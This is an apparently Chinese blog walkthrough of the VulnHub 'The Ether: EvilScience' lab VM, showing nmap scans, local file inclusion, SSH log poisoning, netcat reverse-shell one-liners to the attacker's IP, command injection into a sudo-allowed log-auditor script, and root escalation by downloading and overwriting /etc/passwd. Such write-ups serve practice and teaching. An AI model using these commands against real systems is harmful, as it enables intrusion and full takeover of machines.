PRELOADER

当前文章 : 《靶机:evalscience通关笔记》

8/20/2019 —— 

前言

好久没打靶机了,这次找了一个还挺好玩的靶机,顺便写下笔记。

环境准备

靶机下载地址:https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/

本地作为攻击方:192.168.199.119

靶机:未知具体ip (由于靶机用的是NAT模式),可以确定的是在192.168.199.0/24内。

信息收集

先确定靶机ip

# nmap -sP 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:31 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.1
Host is up.
Nmap scan report for 192.168.1.131
Host is up (0.0010s latency).
MAC Address: 00:0C:29:26:01:D6 (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00s latency).
MAC Address: 00:50:56:EF:D7:EB (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 31.83 seconds

扫描端口

# nmap -p- -A 192.168.1.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:38 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.131
Host is up (0.00063s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA)
|   256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA)
|_  256 86:6c:7c:4b:04:7e:57:4f:68:16:a9:74:4c:0d:2f:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: The Ether
MAC Address: 00:0C:29:26:01:D6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.63 ms 192.168.1.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.82 seconds

开放了22和80端口,emm大概就这些。

测试

首先先从web入手,打开页面http://192.168.1.131:80

翻阅后发现了一处疑似有文件包含的地方

于是测试各种常见包含路径,但是没有什么进展。

再测下能否远程包含,在服务器上放了一个info.php,内容为phpinfo();

但是也没什么变化。

接下来直接上fuzz大法,字典用SecLists中的文件包含字典LFI-Jhaddix.txt

burp抓包后丢intruder

发现了几个返回长度不一样的包含路径

逐一访问后,发现除了/var/log/auth.log直接重定向到index.php,其他都是包含了一堆乱码,没什么用。

抓包访问包含/var/log/auth.log

既然能包含日志文件,那我们可以尝试向日志文件写入php代码,然后利用包含来执行getshell

通过ssh连接的用户名来写入日志文件

$ ssh ''@192.168.1.131
@192.168.1.131's password:
Permission denied, please try again.

执行命令ls试试

执行成功了,说明已经包含成功且执行了。

后面试了直接写了个一句话,但是菜刀蚁剑都连不上,猜测还可能有waf,或者其他原因。。

还是直接nc反弹吧

本地先开启nc监听

# nc -lvp 999
listening on [any] 999 ...

加上参数 exec=/bin/nc -e /bin/bash 192.168.199.119 999

再加上url编码

没有反弹成功

看了下大佬的wp,说可能是因为版本的原因,-e参数没有识别成功导致不能运行

于是试下没有-e参数的命令

mknod backpipe p && nc 192.168.199.119 999 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc 192.168.199.119 999
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.199.119 999 0/tmp/

编码后测试第一条就可以了

# nc -lvp 999
listening on [any] 999 ...
connect to [192.168.199.119] from DESKTOP-6GE3653.lan [192.168.199.119] 10140
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
research.php
xxxlogauditorxxx.py

提权

先查看下当前用户

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

sudo -l 查看当前权限

sudo -l
Matching Defaults entries for www-data on theEther:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on theEther:
    (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
    (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

能够运行xxxlogauditorxxx.py无需密码

尝试运行

sudo ./xxxlogauditorxxx.py

sudo ./xxxlogauditorxxx.py

===============================
Log Auditor
===============================
Logs available
-------------------------------
/var/log/auth.log
/var/log/apache2/access.log
-------------------------------

Load which log?:

输入/var/log/auth.log看看有什么

/var/log/auth.log
Jun  2 22:03:01 theEther sshd[1472]: Invalid user v1nt from 192.168.1.1
Jun  2 22:03:01 theEther sshd[1472]: input_userauth_request: invalid user v1nt [preauth]
Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): check pass; user unknown
Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.1

发现可以命令执行,并且权限比www-data大

尝试逻辑或执行命令 /var/log/auth.log|whoami

Load which log?: /var/log/auth.log|whoami
www-data

成功执行了,查看下/etc/passwd

Load which log?: /var/log/auth.log|cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

也能成功执行。接着伪造/etc/passwd提权

openssl passwd -1 -salt vint abc123 #该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为vint,密码是abc123

在原来的passwd加上,放到服务器上

然后wget下载,再覆盖掉原来的passwd

wget http://118.25.154.15:8081/passwd
ls
1.php
2.php
about.php
backpipe
images
index.php
layout
licence.txt
passwd
research.php
xxxlogauditorxxx.py

再覆盖掉原来的passwd

Load which log?: /var/log/auth.log | cp passwd /etc/passwd

再查看passwd

添加成功了。

最后切换到我们创建的用户就可以了。